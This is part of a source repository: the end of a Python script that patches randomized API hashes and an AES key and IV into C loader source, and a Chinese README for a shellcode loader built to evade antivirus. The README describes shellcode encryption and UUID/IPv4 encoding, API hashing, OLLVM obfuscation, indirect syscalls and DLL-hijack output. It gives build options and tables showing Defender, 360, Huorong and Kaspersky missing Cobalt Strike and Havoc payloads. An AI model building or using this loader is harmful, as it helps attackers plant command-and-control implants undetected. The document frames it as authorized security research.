= "#define" + "\t" + "_Kernel32" + "\t" + str(distFucHash[key]) + "\n" 128 | list.append(line) 129 | elif re.search(r'UuidFromStringA',key): 130 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 131 | line = "#define" + "\t" + "_uuidFromStringA" + "\t" + str(distFucHash[key]) + "\n" 132 | list.append(line) 133 | elif re.search(r'FUNC_HASH',key): 134 | line = "#define" + "\t" + "FUNC_HASH" + "\t" + str(funchash) + "\n" 135 | list.append(line) 136 | else: 137 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 138 | line = "#define" + "\t_" + key + "\t" + str(distFucHash[key]) + "\n" 139 | list.append(line) 140 | #if isinstance(exportPath,str): 141 | # if not os.path.isfile(exportPath): 142 | # print("导出函数文件不存在") 143 | # with open(exportPath,"r",encoding="utf-8") as f: 144 | # exportlines = f.readlines() 145 | # for line in exportlines: 146 | # list.append(line) 147 | with open(path, "w", encoding="utf-8") as f: 148 | f.writelines(list) 149 | return 1 150 | 151 | def PatchKeyAndIv(path, key, iv, exportPath): 152 | keystr = str(key,encoding="utf-8") 153 | ivstr = str(iv,encoding="utf-8") 154 | patchkey = " const CHAR* keys = \"" + keystr +"\";\n" 155 | patchiv = " const CHAR* iv = \"" + ivstr +"\";" 156 | count = 0 157 | with open(path, "r", encoding="utf-8") as f: 158 | lines = f.readlines() 159 | for line in lines: 160 | count += 1 161 | if re.search(r'keys', line) or re.search(r'iv', line): 162 | lines[count] = "" # 需要clear 163 | if isinstance(exportPath,str): 164 | if not os.path.isfile(exportPath): 165 | print("导出函数文件不存在") 166 | with open(exportPath,"r",encoding="utf-8") as f: 167 | exportlines = f.readlines() 168 | with open(path, "w", encoding="utf-8") as f: 169 | lines[count - 2] = patchkey 170 | lines[count - 1] = patchiv 171 | lines.append("\n") 172 | if isinstance(exportPath,str): 173 | for line in exportlines: 174 | lines.append(line) 175 | f.writelines(lines) 176 | return 1 177 | 178 | # 清除导出函数。 179 | def ClearExportFunc(exportPath): 180 | count = 0 181 | with open(exportPath, "r", encoding="utf-8") as f: 182 | lines = f.readlines() 183 | for line in lines: 184 | if re.search(r'extern', line): 185 | lines[count] = "" 186 | count += 1 187 | with open(exportPath, "w", encoding="utf-8") as f: 188 | f.writelines(lines) 189 | return 1 190 | 191 | 192 | 193 | 194 | def PatchExportFunction(targetPath, exportPath): 195 | if not os.path.isfile(exportPath): 196 | print("导出函数文件不存在") 197 | with open(exportPath,"r",encoding="utf-8") as f: 198 | exportlines = f.readlines() 199 | count = 0 200 | with open(targetPath,"r",encoding="utf-8") as f: 201 | tarlines = f.readline 202 | for line in tarlines: 203 | count += 1 204 | return 205 | 206 | 207 | 208 | 209 | 210 | # const CHAR* keys = "KmILU0ym1lSjF00+zCnAtQfoWuTQrnKD'"; 211 | #const CHAR* iv = "//UpTcV+ZMIoAqbx"; -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | #### 一、项目背景 2 | 3 | ​ 近年来,随着 C2 框架广泛应用于安全对抗模拟,各大安全厂商也不断提升其检测能力,那么安全厂商自研的安全软件,是否能有效防御此类威胁?对于此疑问的好奇,我开始对安全软件和 C2 框架进行了深入的研究,于是此项目诞生了。此项目旨在模拟严苛的静态环境来测试安全软件对于 C2 框架的检测力度。此项目对于研究安全问题的伙伴,对于安全厂商以及对于研发安全产品的企业提供了关于 C2 框架检测相关的数据支持。 4 | 5 | ##### 1.1 什么是 C2 框架? 6 | 7 | ​ C2(Command &Control 命令与控制)框架,特指渗透人员用于建立、管理和维持对已控系统(被控端)的集中化、结构化的软件体系平台。它是高级持续性威胁和定向攻击的核心工具,实现了攻击行动的数据窃取和横向移动。其核心目标如下: 8 | 9 | - 持久化:长期地潜伏在目标网络而不被发现。 10 | - 数据窃取:将窃取的机密数据传输回渗透人员。 11 | - 任务执行:向被控端下发指令,用于执行恶意操作。 12 | - 隐蔽通信:在受害者系统与攻击者服务器之间建立难以检测的通信通道。 13 | - 集中化管理:提供渗透人与一个中心界面,用于批量控制大量被控端。 14 | 15 | ##### 1.2 C2 框架的核心组件是什么? 16 | 17 | - C2 服务器:渗透人员的指挥中心,用于接收被控端连接、存储指令和任务、收集渗透数据、管理被控端状态。 18 | - 被控端代理程序:用于植入在被控端的软件程序,在目标系统上接收并执行 C2 服务器下发的指令,也是安全软件对抗的核心。 19 | - C2 操作界面:渗透人员使用的图形化或命令行界面。 20 | 21 | C2 框架的核心架构图如下: 22 | 23 | ![image-20250629210730908](img/5.png) 24 | 25 | ##### 1.3 为什么要使用 loader? 26 | 27 | ​ shellcode 作为威胁存在的一种重要形式,其存储方式非常隐蔽,且可被攻击者快速地传播利用。loader 加载器是加载执行 shellcode 的一串代码,它通常直接或间接的运行 shellcode 程序。为了测试安全软件的功能性,观测其在木马隐蔽场景下的查杀率,所以选用 shellcode + loader 的方式测试安全软件的功能。 28 | 29 | ##### 1.4 静态查杀与动态查杀的区别? 30 | 31 | ​ 静态查杀通常是通过扫描文件的静态特征匹配病毒库来判断此文件是否属于木马家族或其他恶意文件,如果属于,安全软件则会发送告警。动态查杀通过监测可执行文件的行为,来匹配其是否属于恶意文件,如果其触发了安全厂商设定的敏感行为(如:修改注册表),则触发告警。 32 | 33 | ##### 1.5 安全软件对 shellcode 的检测挑战 34 | 35 | ​ 由于 shellcode 以二进制形式连续存储于内存之中,其可以被攻击者实施加密存储,因此静态识别并查杀情况下,shellcode 具有非常强的隐蔽性,安全软件需要多方面判断来识别 shellcode 所运行的进程是否具有危害。这极大的要求了安全软件在静态查杀和动态查杀方面的结合,通过一系列复杂的判断条件识别潜在的威胁。 36 | 37 | #### 二、软件设计 38 | 39 | ​ 为了测试各大厂商的安全软件对于 shellcode 的识别能力,我自主开发了一套静态混淆型 shellcode 加载框架用于测试。本项目由两个子系统构成,分别承担 shellcode 构建、加壳和加载的任务。 40 | 41 | ##### 2.1 shellcode builder(构建端) 42 | 43 | ​ 使用 python 实现,主要职责: 44 | 45 | - 读取 shellcode 文件。 46 | - 初始化动态加密密钥/iv,并进行加密和编码。 47 | - 初始化动态的函数哈希。 48 | - 将以上所有配置信息注入到 shellcode loader(运行端)中。 49 | - 使用 ollvm 混淆编译 shellcode loader(运行端)。 50 | 51 | ​ 包含模块: 52 | 53 | - encrypt.py:加密模块,用于生成动态 aes 密钥和 iv 并加密数据。 54 | - patch.py:配置注入模块,用于将如下信息注入到 shellcode loader: 55 | - 动态生成的 aes key 和 iv。 56 | - 动态生成的函数哈希。 57 | - 加密编码后的 shellcode。 58 | - compiler.py:编译模块,使用 ollvm 混淆编译 shellcode loader。 59 | 60 | ##### 2.2 shellcode loader(运行端) 61 | 62 | ​ 使用 c 实现,主要职责: 63 | 64 | - 通过对比函数哈希初始化 winapi 地址。 65 | - 初始化 syscall 函数。 66 | - 解密并还原加密的 shellcode 数据。 67 | - 选择加载方式进行加载(指针回调、纤程执行、winapi 回调) 68 | 69 | ​ 包含模块: 70 | 71 | - peb.cpp:用于读取函数哈希初始化 winapi 函数地址。 72 | - syscall.cpp:用于初始化间接 syscall 函数。 73 | - decrypt.cpp:用户解密解码 shellcode。 74 | - cLoader.cpp:用于执行 shellcode。 75 | 76 | ##### 2.3 架构图 77 | 78 | ![image-20250629091227118](img/1.png) 79 | 80 | #### 三、静态混淆策略 81 | 82 | ##### 3.1 函数哈希的随机化 83 | 84 | ​ 特征提取检测是安全软件检测市面上木马病毒常用手段,安全厂商通过提取特征码并存储到病毒库中来匹配某一特定的恶意程序。通常情况下特征码是从一些静态数据或恒定的二进制代码端提取的,为了避免被提取特征码,我将一些静态数据如函数哈希和密钥/iv 做了随机化处理,确保每一次生成的 loader 的静态数据都是不唯一的。 85 | 86 | ##### 3.2 shellcode 加密处理 87 | 88 | ​ shellcode 加密是最常见的混淆手段,在程序运行前,shellcode 同时是加密存储在二进制文件中。加密存储虽然有效,但是安全厂商也有针对的应对策略,基于熵值的检测。shellcode 加密会导致文件熵值增高,这会导致可执行文件在安全软件严重十分可以,为了避免熵值的膨胀,我们需要将加密后的数据转换成合法数据。 89 | 90 | ##### 3.3 shellcode 编码处理 91 | 92 | ​ shellcode 编码将加密后的数据转换成合法数据,如:ipv4 地址、uuid、mac 地址等,此软件实现 ipv4 地址和 uuid 编码降低熵值。 93 | 94 | ##### 3.4 ollvm 混淆 95 | 96 | ​ 为了防止代码段特征的提取,我使用了 clang 编译器开发此软件,重点使用此编译器拓展的 ollvm 混淆功能。ollvm 混淆能有效提升编译后的代码复杂度和逆向难度,ollvm 有非常多的混淆机制:如控制流平坦化、指令替换、虚假控制流等。 97 | 98 | ##### 3.5 动态混淆策略 99 | 100 | ​ 由于此项目的目的是针对安全软件对静态混淆型 shellcode loader 的测试,而不是单一地去绕过某一安全软件的检测,所以只添加了最基础的动态混淆的代码以提升 shellcode loader 的存活率。动态混淆方面,此项目使用到了开源 syscall 工具 hell’s gate,结合本项目,其详细功能如下: 101 | 102 | - 动态解析 ssn 号:遍历 ntdll 导出表。(动态解析 ssn 号,能防止源码嵌入 ssn 号而提取静态特征。) 103 | - 直接 syscall:动态获取 nt 函数地址并进行 0x12 偏移来提取多个 syscall 地址。 104 | 105 | #### 四、项目拓展 106 | 107 | ​ 为了进一步测试安全软件的功能,我对此项目进行了扩展。真实场景中 loader 不一定是 exe 可执行文件,它很有可能是 dll 文件。某些情况下,dll 文件可能通过进程劫持注入代码。这种情况下,shellcode 的执行可能会更加隐蔽,为了模拟这种效果,我为我的项目实现了生成 dll 的功能。 108 | 109 | #### 五、安全软件测试结果 110 | 111 | ​ 本项目设计目标之一是验证相同的静态混淆策略对主流终端安全软件的触发行为差异,以评估各加载方式的有效性与隐蔽性。 112 | 113 | ##### 5.1 测试环境 114 | 115 | - windows 10 22H2(x64) 116 | - 测试平台:VMware 17 117 | - 是否接入互联网:是 118 | - 测试样本(被控端代理程序): 119 | - cobaltstrike 4.8 beacon 120 | - havoc demon 121 | - 安全软件版本 122 | - Microsoft Defender(客户端版本: 4.18.1909.6) 123 | - 360 安全卫士(版本:13.0.0.2009) 124 | - 火绒安全(个人版:6.0.6.6,病毒库:2025.6.28) 125 | - 卡巴斯基(企业版:kes 11.6.0.394) 126 | 127 | ##### 5.2 测试方式说明 128 | 129 | | 阶段 | 说明 | 130 | | -------- | ------------------------------------------------------------ | 131 | | 静态查杀 | 下载 loader 可执行文件并执行后是否触发报毒。 | 132 | | 解密解码 | 解密解码 shellcode 后是否触发报毒 | 133 | | 执行阶段 | 开始执行是否触发报毒 | 134 | | 执行后 | 执行后进行常规操作是否触发报毒(这里采用读取文件信息进行测试) | 135 | | 敏感操作 | 执行后进行敏感操作是否触发报毒(这里采 用读取系统进程信息进行测试) | 136 | 137 | ##### 5.3 测试结果 138 | 139 | cobaltstrike 4.8 beacon 测试结果 140 | 141 | | 安全软件 | 文件类型 | 静态查杀 | 解密解码 | 执行阶段 | 执行后 | 敏感操作 | 142 | | ------------------ | -------------- | -------------------------------- | ------------------------------- | --------- | ------- | -------- | 143 | | Microsoft Defender | exe 可执行文件 | ❌触发扫描,但未报毒 | ❌内存明文存放 shellcode,未报毒 | ✔️立刻报毒 | 无 | 无 | 144 | | Microsoft Defender | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 145 | | 360 安全卫士 | exe 可执行文件 | ❌主动扫描,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 146 | | 360 安全卫士 | dll 劫持 | ✔️立刻报毒,标记为检测到 dll 劫持 | 无 | 无 | 无 | 无 | 147 | | 火绒安全个人版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 148 | | 火绒安全个人版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 149 | | 卡巴斯基企业版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 150 | | 卡巴斯基企业版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 151 | 152 | havoc demon 测试结果 153 | 154 | | 安全软件 | 文件类型 | 静态查杀 | 解密解码 | 执行阶段 | 执行后 | 敏感操作 | 155 | | ------------------ | -------------- | ------------------- | ------------------------------- | -------- | ------- | -------- | 156 | | Microsoft Defender | exe 可执行文件 | ❌触发扫描,但未报毒 | ❌内存明文存放 shellcode,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 157 | | Microsoft Defender | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 158 | | 360 安全卫士 | exe 可执行文件 | ❌主动扫描,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 159 | | 360 安全卫士 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 160 | | 火绒安全个人版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 161 | | 火绒安全个人版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 162 | | 卡巴斯基企业版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 163 | | 卡巴斯基企业版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 164 | 165 | ⚠️注:以上测试仅用作数据参考,不代表安全产品的优劣。 166 | 167 | #### 六、测试结果分析 168 | 169 | ##### 6.1 C2 框架测试结果对比 170 | 171 | | 对比维度 | cobaltstrike 4.8 beacon | havoc demon | 172 | | :--------------- | :---------------------------------------------- | :--------------------- | 173 | | 静态检测风险 | 高(即使高强度加密编码,仍能被 360 启发式识别) | 极低(无法识别) | 174 | | 内存行为检测风险 | 高(Defender 捕获 exe 内存特征可以识别) | 极低(无法识别) | 175 | | 感知强度 | 高(安全厂商针对性研究) | 极低(全平台规避监测) | 176 | 177 | ##### 6.2 各大厂商安全软件测试结果对比 178 | 179 | | 安全厂商 | 查杀方式类别 | 对 beacon 的响应 | 对 demon 的响应 | 查杀策略水平评估 | 初步技术判断/推测机制 | 180 | | ------------------ | --------------------------- | ---------------------------------- | --------------- | ---------------- | --------------------- | 181 | | Microsoft Defender | 内存行为感知 + 部分特征扫描 | ✔️ 执行阶段立刻报毒 | ❌ 全程绕过 | ⭐⭐⭐⭐(4/5) | 监控内存 + 内存扫描 | 182 | | 360 安全卫士 | 启发式判定 | ✔️ dll 劫持加载瞬间拦截,exe 无响应 | ❌ 全程绕过 | ⭐⭐⭐(3/5) | 启发式判定系统评估 | 183 | | 火绒安全软件 | 以防护为主 | ❌ 全程绕过 | ❌ 全程绕过 | ⭐⭐(2/5) | 未知 | 184 | | 卡巴斯基企业版 | 未知 | ❌ 全程绕过 | ❌ 全程绕过 | ⭐⭐(2/5) | 未知 | 185 | 186 | ##### 6.3 什么是启发式查杀? 187 | 188 | ​ 启发(heuristic):(一种教学方法)让学生通过自己发现事物并从自己的经验中学习,而不是通过告诉他们事物来学习。 189 | 190 | ​ 启发式查杀:给予安全软件一定的规则,让安全软件以此规则作为经验,去分析一个程序的合规性,而不是通过严格的逻辑推理来解决问题。常见的启发式查杀经验: 191 | 192 | - 文件熵值过高。 193 | - 导出表空但含大量代码段。 194 | - 导出表含大量函数,但代码段很小。 195 | 196 | ##### 6.4 Microsoft Defender 测试结果分析 197 | 198 | 查杀 beacon 原因推测分析如下: 199 | 200 | ​ 执行阶段立刻查杀,此时 shellcode 已被解密解码,明文存储在内存中。但是,Microsoft Defender 全程监控此进程内存,当检测到 shellcode 的内存由 RW -> RX 修改时,扫描该区域并匹配到 beacon 特征。 201 | 202 | 未检测到 dll 劫持原因推测分析如下: 203 | 204 | ​ 完全忽视 dll 劫持场景,不对进程进行监控。 205 | 206 | 未检测到 demon 的原因: 207 | 208 | ​ 未分析并提取 demon 特征。 209 | 210 | ##### 6.5 360 安全卫士测试结果分析 211 | 212 | 瞬间查杀 beacon 的 dll 劫持原因推测分析如下: 213 | 214 | ​ 启发式判定系统检测到可疑 dll(导出表可疑等),最主要的判定其为恶意 dll 的原因是分析加密编码后的 shellcode 的特征,如: 215 | 216 | - 即使 aes 加密 + uuid 编码,其 payload 长度与 beacon 做同样操作后长度类似。 217 | - aes 加密 + uuid 编码后长度过长,引起怀疑。 218 | 219 | 未检测到 exe 中的 shellcode 的原因如下: 220 | 221 | ​ 启发式判定系统认为 exe 中存在过长的数据是合理行为。 222 | 223 | dll 劫持未查杀 demon 的原因: 224 | 225 | - 缺乏 demon payload 的确切特征。 226 | - aes 加密 + uuid 编码后长度非常小。 227 | 228 | ##### 6.6 火绒安全软件测试结果分析 229 | 230 | 未检测到 shellcode 的原因: 231 | 232 | ​ 个人版以安全防护为主,考虑真实用户体验。 233 | 234 | ##### 6.7 卡巴斯基企业版测试结果分析 235 | 236 | 卡巴斯基企业版即使开启云查杀等所有功能,但仍未检测到 shellcode 的原因: 237 | 238 | - 个人研发的 loader 具备强大的静态混淆能力,几乎达到 100% 的静态混淆。 239 | - 未对内存中的明文 shellcode 进行扫描。可能扫描机制是延迟或事件触发型。 240 | - 卡巴斯基可能没有 360 那种对 beacon payload 的泛化机制,它没有对 aes 加密 + uuid 编码的 shellcode 起疑心 241 | 242 | 本实验使用卡巴斯基企业版默认配置,联网环境并开启云查杀,但在本测试环境下确实未触发检测机制。 243 | 244 | ⚠️注:以上结论可能导致对卡巴斯基的查杀水平错误低估,请理性看待。 245 | 246 | ##### 6.8 总结 247 | 248 | 针对严苛静态无特征化的 shellcode loader 有用的技术: 249 | 250 | - 内存监控 + 内存扫描 251 | - 启发式判定 252 | 253 | #### 七、使用方法 254 | 255 | ##### 7.1 运行环境 256 | 257 | - Python:3.11.0 258 | - ninja:1.12.0.git 259 | - clang:20.1.5(ollvm) 260 | - vs 2022 C++ 桌面开发环境 261 | - python 库:pycryptodome=3.20.0 262 | - python 库:pyfiglet=1.0.2 263 | 264 | 注:以上是本人使用的运行环境,仅仅作为参考。 265 | 266 | ##### 7.2 支持参数 267 | 268 | - --i:用于输入 shellcode.bin 文件。 269 | - shellcode 的 文件路径。 270 | - --exec:用于设置执行方式。 271 | - thread:创建线程执行 shellcode。 272 | - fiber:创建纤程执行 shellcode。 273 | - callback:Winapi 回调函数执行 shellcode。 274 | - --encode: 275 | - ipv4:用于将加密的 shellcode 编码成 ipv4 地址。 276 | - uuid:用于将加密的 shellcode 编码成 uuid 地址。 277 | - --file: 278 | - exe:用于指定生成 exe 文件。 279 | - dll:用于指定生成 dll 文件。 280 | - --export(仅在生成 dll 文件情况下生效): 281 | - 文件路径:用于指定 dll 文件的导出函数。 282 | 283 | ![image-20250630143220985](img/2.png) 284 | 285 | 其中 --export 导出函数文件存储如下示例内容: 286 | 287 | ![image-20250630143343116](img/3.png) 288 | 289 | ##### 7.3 构建过程 290 | 291 | 使用如上默认配置进行构建,python 将执行如下操作进行构建: 292 | 293 | 配置注入: 294 | 295 | - 获取 loader 的项目路径(c 语言) 。 296 | - 获取 shellcode.bin 文件路径,读取、加密、编码并 patch 到源文件。 297 | - 初始化 aes 密钥和 iv,并 patch 到源文件。 298 | - 初始化 Winapi 函数哈希,并 patch 到源文件。 299 | 300 | 编译 loader: 301 | 302 | - 构建并编译 loader。 303 | 304 | ![image-20250630143410412](img/6.png) 305 | 306 | 构建完成后,在 build 目录下会生成 loader。 307 | 308 | ![image-20250630135153186](img/7.png) 309 | 310 | #### 八 、项目价值与边界 311 | 312 | ##### 8.1 应用场景价值 313 | 314 | ​ 本项目设计初衷为在合法授权的环境中,用作以下内容的研究与评估: 315 | 316 | - 安全软件测试评估:测试安全软件在严苛的静态对抗环境下的检测能力。 317 | - 安全软件行为研究:测试安全软件用于检测威胁的技术方式。 318 | - 教学与演示:适合作为教学样例,展示设计架构和静态混淆技术。 319 | - 提供数据:向研究人员提供数据参考。 320 | 321 | ##### 8.2 合规边界声明 322 | 323 | ​ 本项目不包含任何恶意 payload 或远控功能,仅提供 loader 框架和加密封装机制,所有测试 payload 必须由用户在合法授权环境下自行提供,且尽在授权环境中使用。 324 | 325 | ##### 8.3 作者声明 326 | 327 | - 本人不对任何非法使用本项目代码所产生的后果负责。 328 | - 严禁在未授权的目标环境中部署与测试。 329 | - 若您是安全厂商/研究人员,欢迎就技术实现展开探讨。 330 | 331 | #### 九、声明与许可 332 | 333 | ##### 9.1 项目免责声明 334 | 335 | ​ 本项目仅供安全研究、教育教学和防御评估。不得将其用于任何非法用途,包括但不仅限于未授权渗透、后门植入等。所有示例均在授权环境下进行测试。 --------------------------------------------------------------------------------